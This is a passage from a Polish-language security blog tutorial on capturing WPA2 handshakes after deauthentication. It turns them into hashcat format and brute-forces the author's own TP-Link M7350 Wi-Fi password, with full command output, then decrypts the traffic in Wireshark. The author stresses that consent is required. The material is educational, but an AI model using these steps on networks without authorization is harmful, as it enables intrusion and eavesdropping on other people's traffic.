&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">21:45:50 + 98ded07ade8b be7e3d2ed946 TP-LINK_DE8B
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">^C
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">2183&lt;/span> Packet&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> captured by kernel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">0&lt;/span> Packet&lt;span class="o">(&lt;/span>s&lt;span class="o">)&lt;/span> dropped by kernel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">1&lt;/span> SHB written to pcapng dumpfile
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">1&lt;/span> IDB written to pcapng dumpfile
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">1&lt;/span> ECB written to pcapng dumpfile
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">56&lt;/span> EPB written to pcapng dumpfile&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>&lt;figure>
&lt;img src="./wireshark.png" title="Otwarty tab w wiresharku z filtrem" alt="image" loading="lazy" />
&lt;figcaption>Otwarty tab w wiresharku z filtrem&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Taka duża liczba ramek jest niemalże zawsze jednoznaczna z próbą odłączenia urządzenia
klienckiego od routera, dlatego atak ten jest bardzo łatwo wykrywalny i absolutnie nigdy
nie powinien zostać przeprowadzony na sieciach, na których nie mamy jawnej zgody do
przeprowadzania takich manewrów.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="./eapol.png" title="Otwarty tab w wiresharku z filtrem eapol" alt="image" loading="lazy" />
&lt;figcaption>Otwarty tab w wiresharku z filtrem eapol&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Może i atak jest bardzo łatwo wykrywalny, ale jakże skuteczny! Mamy teraz wszystkie 4
ramki uwierzytelnienia EAPOL, na których możemy dalej operować.&lt;/p>
&lt;div class="hx:overflow-x-auto hx:mt-6 hx:flex hx:flex-col hx:rounded-lg hx:border hx:py-4 hx:px-4 hx:border-gray-200 hx:contrast-more:border-current hx:contrast-more:dark:border-current hx:border-green-200 hx:bg-green-100 hx:text-green-900 hx:dark:border-green-200/30 hx:dark:bg-green-900/30 hx:dark:text-green-200">
&lt;p class="hx:flex hx:items-center hx:font-medium">&lt;svg height=16px class="hx:inline-block hx:align-middle hx:mr-2" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" aria-hidden="true">&lt;path stroke-linecap="round" stroke-linejoin="round" d="M9.663 17h4.673M12 3v1m6.364 1.636l-.707.707M21 12h-1M4 12H3m3.343-5.657l-.707-.707m2.828 9.9a5 5 0 117.072 0l-.548.547A3.374 3.374 0 0014 18.469V19a2 2 0 11-4 0v-.531c0-.895-.356-1.754-.988-2.386l-.548-.547z"/>&lt;/svg>Atak pasywny&lt;/p>
&lt;div class="hx:w-full hx:min-w-0 hx:leading-7">
&lt;div class="hx:mt-6 hx:leading-7 hx:first:mt-0">&lt;p>Zamiast przeprowadzania aktywnego ataku, można też najzwyczajniej siedzieć na kanale,
na którym znajduje się nasz cel, i zapisywać wszystkie pakiety z nadzieją, że jakieś urządzenie
zaraz wróci do mieszkania i połączy się ze swoim access pointem. Także zaskutkuje to
4 pakietami EAPOL.&lt;/p>&lt;/div>
&lt;/div>
&lt;/div>
&lt;h3>0x4: Testujemy hasło access pointu&lt;span class="hx:absolute hx:-mt-20" id="0x4-testujemy-hasło-access-pointu">&lt;/span>
&lt;a href="#0x4-testujemy-has%c5%82o-access-pointu" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Czy zmieniłeś kiedyś defaultowe hasło na access poincie? Oczywiście, że nie. Znaczna
większość użytkowników nawet nie zaloguje się do portalu administracyjnego swojego
urządzenia, a co dopiero samowolnie zmieni hasło administratora i hasło do Wi-Fi.&lt;/p>
&lt;p>Znaczna większość dostawców Internetu w tych czasach natomiast ustawia relatywnie
dobre domyślne hasła. Aczkolwiek, większość routerów zakupionych na własną rękę
będzie miała znacznie prostsze i krótsze hasła. Zasoby dotyczące domyślnych formatów
haseł da się w łatwy sposób znaleźć w Internecie. Dla niektórych urządzeń, mogą być to
nawet hasła o minimalnej długości (8 znaków) składające się wyłącznie z cyfr.
No to co, sprawdźmy!&lt;/p>
&lt;p>Najpierw musimy zbudować hash na podstawie ramek uwierzytelniających. Możemy to
zrobić za pomocą narzędzia z pakietu &lt;code>hcxtools&lt;/code>, mianowicie &lt;code>hcxpcapngtool&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ hcxpcapngtool -o tplink.hc22000 tplink.pcapng&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Skutkuje to wygenerowaniem pliku &lt;code>tplink.hc22000&lt;/code>, kompatybilnego z narzędziem
&lt;code>hashcat&lt;/code>. Tak wygląda hash naszego hasła:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>WPA*02*88f07dc8c9e84275a2073c4d93c9ab25*98ded07ade8b*be7e3d2ed946*54502d4c494e4b5f44453842*316d20185e5d9dc4d0c9c50e064ad9a23ee33ddcedc272e58998f119dc9738c1*0103007502010a0000000000000000ffd55b214e02f33cd965748ab65b8f39e513790329d0d5b5c00bc275229a59849fbb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001630140100000fac020100000fac040100000fac028000*10&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Następnie możemy na naszym pliku z hashem w formacie hc22000 puścić &lt;code>hashcat&lt;/code>a w
ramach &amp;ldquo;odzyskania&amp;rdquo; naszego hasła, korzystając z wbudowanego generatora haseł na
podstawie zasad. Kombinacja flag &lt;code>-a 3 --increment ?d?d?d?d?d?d?d?d?d?d?d?d&lt;/code>
zaskutkuje generacją haseł o długości 8 do 12 znaków, składających się wyłącznie z cyfr.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ hashcat -m 22000 tplink.hc22000 -a 3 --increment ?d?d?d?d?d?d?d?d?d?d?d?d
hashcat (v6.2.6) starting
OpenCL API (OpenCL 2.1 AMD-APP (3652.0)) - Platform #1 [Advanced Micro Devices, Inc.]
=====================================================================================
* Device #1: AMD Radeon RX 7900 XT, 20352/20464 MB (17394 MB allocatable), 42MCU
* Device #2: AMD Radeon(TM) Graphics, 6176/12459 MB (5077 MB allocatable), 1MCU
Minimum password length supported by kernel: 8
Maximum password length supported by kernel: 63
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Brute-Force
* Slow-Hash-SIMD-LOOP
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1756 MB
[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit =&amp;gt;
Session..........: hashcat
Status...........: Running
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID&amp;#43;EAPOL)
Hash.Target......: tplink.hc22000
Time.Started.....: Tue Jul 08 22:15:00 2025 (35 secs)
Time.Estimated...: Tue Jul 08 22:16:18 2025 (43 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/5 (20.00%)
Speed.#1.........: 1266.3 kH/s (8.23ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.........: 27928 H/s (8.85ms) @ Accel:128 Loops:32 Thr:256 Vec:1
Speed.#*.........: 1294.2 kH/s
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 44130304/100000000 (44.13%)
Rejected.........: 0/44130304 (0.00%)
Restore.Point....: 1613824/10000000 (16.14%)
Restore.Sub.#1...: Salt:0 Amplifier:1-2 Iteration:2816-3072
Restore.Sub.#2...: Salt:0 Amplifier:9-10 Iteration:608-640
Candidate.Engine.: Device Generator
Candidates.#1....: 00026413 -&amp;gt; 05419551
Candidates.#2....: 68111531 -&amp;gt; 67982982
Hardware.Mon.#1..: Temp: 63c Fan: 33% Util:100% Core:2444MHz Mem:2487MHz Bus:16
Hardware.Mon.#2..: Temp: 0c Fan: 0% Util:100% Core:2200MHz Mem:3000MHz Bus:16
88f07dc8c9e84275a2073c4d93c9ab25:98ded07ade8b:be7e3d2ed946:TP-LINK_DE8B:22874363
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID&amp;#43;EAPOL)
Hash.Target......: tplink.hc22000
Time.Started.....: Tue Jul 08 22:15:00 2025 (1 min, 8 secs)
Time.Estimated...: Tue Jul 08 22:16:08 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?d?d?d?d?d?d?d?d [8]
Guess.Queue......: 1/5 (20.00%)
Speed.#1.........: 1262.5 kH/s (8.27ms) @ Accel:128 Loops:256 Thr:32 Vec:1
Speed.#2.........: 27947 H/s (8.85ms) @ Accel:128 Loops:32 Thr:256 Vec:1
Speed.#*.........: 1290.4 kH/s
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 86679552/100000000 (86.68%)
Rejected.........: 0/86679552 (0.00%)
Restore.Point....: 6184960/10000000 (61.85%)
Restore.Sub.#1...: Salt:0 Amplifier:2-3 Iteration:0-1
Restore.Sub.#2...: Salt:0 Amplifier:7-8 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 24414184 -&amp;gt; 23057384
Candidates.#2....: 86308658 -&amp;gt; 85125381
Hardware.Mon.#1..: Temp: 69c Fan: 60% Util: 91% Core:1668MHz Mem:2487MHz Bus:16
Hardware.Mon.#2..: Temp: 0c Fan: 0% Util: 0% Core: 600MHz Mem:3000MHz Bus:16
Started: Tue Jul 08 22:14:51 2025
Stopped: Tue Jul 08 22:16:09 2025&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Gratulacje! Hasło naszego access pointa wytrzymało aż 1 minutę i 18 sekund!&lt;/p>
&lt;h3>0x5: Hasło &amp;ldquo;odzyskane&amp;rdquo;, co teraz???&lt;span class="hx:absolute hx:-mt-20" id="0x5-hasło-odzyskane-co-teraz">&lt;/span>
&lt;a href="#0x5-has%c5%82o-odzyskane-co-teraz" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Jeżeli celem jest połączenie się z siecią i przeprowadzanie dalszych
&lt;em>autoryzowanych&lt;/em> testów penetracyjnych, to temat crackowania hashy wpa2-psk
można uznać za zamknięty. Z poziomu Wi-Fi można natomiast jeszcze przeprowadzić
kilka różnych zabiegów, np. podsłuchiwać ruch sieciowy.&lt;/p>
&lt;p>Za pomocą Wiresharka możemy w tabie &lt;code>Edit &amp;gt; Preferences &amp;gt; Protocols &amp;gt; IEEE 802.11&lt;/code>
włączyć deszyfrowanie i wprowadzić nasze hasło oraz ESSID sieci.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="./wpa-pwd.png" title="Popup w wiresharku do wpisywania haseł WPA-PWD" alt="image" loading="lazy" />
&lt;figcaption>Popup w wiresharku do wpisywania haseł WPA-PWD&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Umożliwi to Wiresharkowi odszyfrowywanie ramek sieciowych i wyświetlanie
odpowiadającego im ruchu sieciowego:&lt;/p>
&lt;p>&lt;figure>
&lt;img src="./wireshark-decrypted.png" title="Odszyfrowany traffic sieciowy w wiresharku" alt="image" loading="lazy" />
&lt;figcaption>Odszyfrowany traffic sieciowy w wiresharku&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Na szczęście w dzisiejszych czasach szyfrowanie TLS jest dosyć powszechne, więc
nie da się wiedzieć dokładnie co przeglądają urządzenia klilenckie.
Można natomiast dalej podglądać nieszyfrowane requesty DNS, broadcasty MDNS,
requesty HTTP i wszelki pozostały nieszyfrowany traffic.&lt;/p>
&lt;h3>0x06: BONUS CONTENT - Router nie updateowany od 9 lat, czyli backdoor time&lt;span class="hx:absolute hx:-mt-20" id="0x06-bonus-content---router-nie-updateowany-od-9-lat-czyli-backdoor-time">&lt;/span>
&lt;a href="#0x06-bonus-content---router-nie-updateowany-od-9-lat-czyli-backdoor-time" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h3>&lt;p>Większość konsumenckich routerów posiada interfejs sieciowy umożliwiający
prostą konfigurację bez potrzeby instalacji żadnego dodatkowego oprogramowania.
W większości przypadków, będzie to po prostu port 80 na defaultowym gateway-u,
którego adres możemy sprawdzić komendą &lt;code>ip&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>$ ip r
default via 192.168.0.1 dev wlan0 proto dhcp src 192.168.0.131 metric 600
192.168.0.0/24 dev wlan0 proto kernel scope link src 192.168.0.131 metric 600&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Po wejściu na http://192.168.0.1:80/ jesteśmy powitani &lt;em>ślicznym&lt;/em> interfejsem TP-Linka.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="./tplink.png" title="Login page tp-linka m7350" alt="image" loading="lazy" />
&lt;figcaption>Login page tp-linka m7350&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Bardzo polecam na stronach konfiguracji konsumenckich routerów otworzyć
sobie zakładkę &amp;ldquo;Network&amp;rdquo; w Firefoxie czy Chromie, jako że bardzo często
możemy dowiedzieć się z niej ciekawych rzeczy o urządzeniu.&lt;/p>
&lt;p>&lt;figure>
&lt;img src="./network-tab.png" title="Otwarty tab network w Firefox-ie" alt="image" loading="lazy" />
&lt;figcaption>Otwarty tab network w Firefox-ie&lt;/figcaption>
&lt;/figure>&lt;/p>
&lt;p>Pierwszy request do &lt;code>qcmap_web_cgi&lt;/code>:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;language&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;en&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;result&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>No dobrze, to akurat nie jest aż tak przydatna informacja.&lt;/p>
&lt;p>Drugi request:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-json" data-lang="json">&lt;span class="line">&lt;span class="cl">&lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;factoryDefault&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;deviceInfo&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;productID&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;73501003&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;productRegion&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;EU&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;model&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;M7350&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;hardwareVer&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;M7350(EU) v3.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;firmwareVer&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1.1.1 Build 160330 Rel.1002n&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;mac&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;98:DE:D0:7A:DE:8B&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;battery&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;connected&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;charging&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;voltage&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">61&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">},&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;wan&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dualIPVersionSupport&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;connectMode&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;registerStatus&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;connectStatus&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">4&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;ipv4&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;10.76.73.148&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dns1v4&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;89.108.195.20&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dns2v4&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;185.89.185.1&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;ipv6&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0.0.0.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dns1v6&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0.0.0.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dns2v6&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0.0.0.0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;networkType&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;roaming&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;signalStrength&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;roamingEnabled&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">true&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;totalStatistics&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;1040889522855.000000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;dailyStatistics&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;511778.000000&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;enablePaymentDay&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="kc">false&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;txSpeed&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nt">&amp;#34;rxSpeed&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span> &lt;span class="s2">&amp;#34;0&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
